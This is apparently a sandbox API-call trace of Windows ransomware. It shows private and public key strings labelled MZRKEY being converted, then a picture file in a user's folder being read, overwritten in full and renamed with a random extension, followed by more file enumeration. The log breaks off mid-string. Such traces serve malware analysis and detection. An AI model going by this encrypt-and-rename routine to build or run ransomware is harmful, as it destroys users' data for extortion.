lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f375ac, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.017] GetCurrentThreadId () returned 0xa30 [0085.017] GetCurrentThreadId () returned 0xa30 [0085.017] GetCurrentThreadId () returned 0xa30 [0085.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f4860c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.018] GetCurrentThreadId () returned 0xa30 [0085.018] GetCurrentThreadId () returned 0xa30 [0085.018] GetCurrentThreadId () returned 0xa30 [0085.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\afzddhe qh9x.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.018] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.018] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.019] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x96fb [0085.019] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.019] ReadFile (in: hFile=0x124, lpBuffer=0x1f50410, nNumberOfBytesToRead=0x96fb, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f50410*, lpNumberOfBytesRead=0x18f96c*=0x96fb, lpOverlapped=0x0) returned 1 [0085.021] CloseHandle (hObject=0x124) returned 1 [0085.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\afzddhe qh9x.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.024] WriteFile (in: hFile=0x124, lpBuffer=0x1f5a440*, nNumberOfBytesToWrite=0x96fb, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f5a440*, lpNumberOfBytesWritten=0x18f978*=0x96fb, lpOverlapped=0x0) returned 1 [0085.030] CloseHandle (hObject=0x124) returned 1 [0085.031] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\afzddhe qh9x.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\aFzddHE Qh9x.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\afzddhe qh9x.bmp.zv7un")) returned 1 [0085.033] GetCurrentThreadId () returned 0xa30 [0085.033] GetCurrentThreadId () returned 0xa30 [0085.033] GetCurrentThreadId () returned 0xa30 [0085.033] GetCurrentThreadId () returned 0xa30 [0085.033] GetCurrentThreadId () returned 0xa30 [0085.033] GetCurrentThreadId () returned 0xa30 [0085.033] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.033] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.033] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.033] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d83f60, ftCreationTime.dwHighDateTime=0x1d5dda4, ftLastAccessTime.dwLowDateTime=0xbfbf6c30, ftLastAccessTime.dwHighDateTime=0x1d5e1f8, ftLastWriteTime.dwLowDateTime=0xbfbf6c30, ftLastWriteTime.dwHighDateTime=0x1d5e1f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="ITkZucPgXtfuH72ld", cAlternateFileName="ITKZUC~1")) returned 1 [0085.033] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728aa890, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0x1b43bac0, ftLastAccessTime.dwHighDateTime=0x1d5e104, ftLastWriteTime.dwLowDateTime=0x1b43bac0, ftLastWriteTime.dwHighDateTime=0x1d5e104, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="KdBdOCDBxl.bmp", cAlternateFileName="KDBDOC~1.BMP")) returned 1 [0085.033] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.033] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.033] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kdbdocdbxl.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728aa890, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0x1b43bac0, ftLastAccessTime.dwHighDateTime=0x1d5e104, ftLastWriteTime.dwLowDateTime=0x1b43bac0, ftLastWriteTime.dwHighDateTime=0x1d5e104, nFileSizeHigh=0x0, nFileSizeLow=0xa060)) returned 1 [0085.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kdbdocdbxl.bmp")) returned 0x20 [0085.034] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp", dwFileAttributes=0x80) returned 1 [0085.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RH